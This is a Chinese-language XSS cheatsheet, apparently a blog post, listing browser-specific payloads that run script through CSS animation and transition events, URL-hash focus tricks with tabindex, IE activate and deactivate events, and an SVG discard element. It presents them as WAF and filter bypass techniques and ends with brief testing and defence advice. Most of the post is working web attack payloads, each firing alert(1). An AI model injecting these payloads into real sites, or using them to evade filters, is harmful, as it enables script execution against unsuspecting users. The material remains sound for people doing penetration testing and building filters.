One XSS cheatsheet to rule them all
字数 1111 2025-08-25 22:58:28
XSS Cheatsheet 全面指南
1. CSS动画与过渡事件XSS
1.1 使用CSS动画执行XSS
<style>@keyframes x{}</style>
<b style="animation-name:x" onanimationstart="alert(1)"></b>
- 原理:通过CSS动画触发
onanimationstart事件 - 适用浏览器:支持CSS动画的现代浏览器
1.2 使用CSS过渡和:target选择器
<style>:target { color:red;}/*page.html#x*/</style>
<x id=x style="transition:color 1s" ontransitionend=alert(1)>
- 原理:
:target选择器匹配URL哈希对应的元素,触发过渡效果 - 事件触发顺序:
- 访问
page.html#x - 元素颜色变为红色(触发过渡)
- 过渡结束时触发
ontransitionend事件
- 访问
1.3 Firefox特定过渡事件
<style>:target { transform: rotate(180deg);}</style>
<x id=x style="transition transform 10s" ontransitioncancel=alert(1)>
- 特殊事件:
ontransitionrun:在Firefox上任何标签都可触发ontransitioncancel:需要修改URL哈希来触发
2. 基于URL哈希的XSS技术
2.1 表单元素自动聚焦
<input onfocus=alert(1) id=x>
someurl.php#x
- 原理:URL哈希匹配元素的
id属性时自动触发focus事件 - 不需要
autofocus属性
2.2 非表单元素聚焦技术
<map name="x"><area href onfocus=alert(1) id=x>
<iframe id=x onfocus=alert(1)>
<embed id=x onfocus=alert(1) type=text/html>
<object id=x onfocus=alert(1) type=text/html>
someurl.php#x
- 适用元素:
<area>,<iframe>,<embed>,<object>
2.3 使用tabindex扩展聚焦能力
<a onfocus=alert(1) id=x href>
<xss onfocus=alert(1) id=x tabindex=1>
<xss onblur=alert(1) id=x tabindex=1>
<input autofocus>
someurl.php#x
- 关键点:
tabindex属性使任何元素可聚焦 - 自定义元素也可使用此技术
2.4 链接元素的特殊处理
<link onfocus=alert(1) id=x tabindex=1 style=display:block>
someurl.php#x
- 需要添加
display:block样式强制显示 - 或在头部使用
accesskey技巧
3. 高级聚焦相关事件
3.1 聚焦相关事件类型
<a onfocusin=alert(1) id=x tabindex=1>
<div onfocusout=alert(1) id=x tabindex=1>
onfocusin:类似onfocusonfocusout:类似onblur
3.2 IE特有激活事件
<a onactivate=alert(1) id=x tabindex=1>
<div onactivate=alert(1) id=x tabindex=1>
<xss onactivate=alert(1) id=x tabindex=1>
<a onbeforeactivate=alert(1) id=x tabindex=1>
someurl.php#x
onactivate:元素激活时触发onbeforeactivate:激活前触发
3.3 IE失活事件
<a ondeactivate=alert(1) id=x tabindex=1></a>
<input id=y autofocus>
<xss ondeactivate=alert(1) id=x tabindex=1></xss>
<input id=y autofocus>
<a onbeforedeactivate=alert(1) id=x tabindex=1></a>
<input id=y autofocus>
someurl.php#x
someurl.php#y
- 需要修改两次哈希值触发
ondeactivate和onbeforedeactivate事件
4. SVG特殊XSS向量
<svg><discard onbegin=alert(1)>
- Chrome特定payload
- 利用SVG的
<discard>元素和onbegin事件
5. 防御绕过技术要点
- WAF绕过:使用非常规事件和元素组合
- 过滤器绕过:利用CSS动画/过渡等现代特性
- 浏览器差异:
- Chrome:支持SVG特定事件
- Firefox:支持更多过渡相关事件
- IE:支持特有的激活/失活事件
6. 最佳实践
- 测试所有可聚焦元素的XSS可能性
- 检查CSS动画/过渡相关事件
- 验证URL哈希对页面元素的影响
- 特别注意自定义元素和SVG的XSS潜力
7. 防御建议
- 严格过滤所有HTML属性
- 禁用不必要的CSS动画/过渡功能
- 实施内容安全策略(CSP)
- 对URL哈希进行验证和过滤
- 特别注意
tabindex属性的使用